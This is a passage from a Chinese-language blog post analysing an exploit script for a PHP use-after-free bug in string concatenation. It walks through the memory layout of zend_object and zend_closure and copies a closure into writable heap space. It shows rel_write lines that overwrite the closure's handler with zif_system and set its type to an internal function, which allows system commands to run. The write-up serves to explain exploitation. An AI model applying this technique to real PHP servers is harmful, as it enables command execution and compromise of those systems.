    zif_handler       orig_internal_handler;//8B typedef void (ZEND_FASTCALL *zif_handler)(INTERNAL_FUNCTION_PARAMETERS)
} zend_closure;
//对比
struct _zend_object {
    zend_refcounted_h gc;//8B
    uint32_t          handle; // TODO: may be removed ???
    zend_class_entry *ce;
    const zend_object_handlers *handlers;
    HashTable        *properties;
    zval              properties_table[1];
};

数据复制的大概流程是

abc所在的空间即helper对象对应的zend_object内容的0x70=112的偏移处开始写值(一个zend_object是56字节,这里隔了一个zend_object的空间),数据来源是闭包函数helper->b对应的zend_object(或者可以说是zend_closure)的内容。共计复制0x138=312B=sizeof(zend_closure)的内容。按理来说,这块内存并没有被分配出来,而且规格不对。但是我们能写入的内容只能是在abc内以及abc的后面

helper对象对应的zend_object内容的0x70=112的偏移处已经是一个新的块的起始位置(helper对应得zend_object占得是abc得空间,包含头只有128字节,写得时候只能从offset+24处开始写,所以offset+0x70就是新的字符串块儿的,原本abc的空间可写长度剩余128-24=104字节,向后跨越112字节,来到了新的128字节存储块的offset+8处,没有从offset+0处开始是保留了这里的空闲链表指针)。

连续向下写0x138=312B的数据,会非法占用abc后面的3个128B的块儿。

复制完后,就更改helper->b对应得zend_object结构的地址,让其指向新的zend_closure处。

为什么不直接更改zend_closure的handler

我们是任意读,但是受限写,只能写入abc块后面空间。而zend_closure在abc前面,所以只能复制到我们能写的地方,然后再处理。

处理一下

$this->rel_write($fake_closure_off + 0x38, 1, 4);
        $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;//因为主版本的变化,这里的偏移量可能会有所不同,新版本的偏移量我没算
        $this->rel_write($fake_closure_off + $handler_offset, $zif_system);

zend_closure@offset+0x68处是zend_closure.zend_function.zend_internal_function.zif_handler,即函数句柄

同时,我们需要改掉一些标志位:

zend_closure@offset+0x38处是zend_closure.zend_function.zend_internal_function.type,将其更改为内部函数

#define ZEND_INTERNAL_FUNCTION              1

修改完新的zend_closure,将其赋给helper->b,这样我们就可以对特定standard模块内的函数进行调用了。

调用完后再修改回去,就OK了。

当然,因为我们非法占用了3个128字节的块儿,这些块儿会造成内存泄漏。

还有this->helper->a这个字符串,其对应的内容实质上只是一段内存,并不是真正的字符串,其长度会特别大,这个字符串也得修改回来,不过不该也无所谓了,内存泄漏就泄漏吧23333.

未经允许不得转载:Caldow » PHP的concat操作导致的UAF利用脚本分析
分享到: 生成海报

切换注册

登录

忘记密码 ?

切换登录

注册

我们将发送一封验证邮件至你的邮箱, 请正确填写以完成账号注册和激活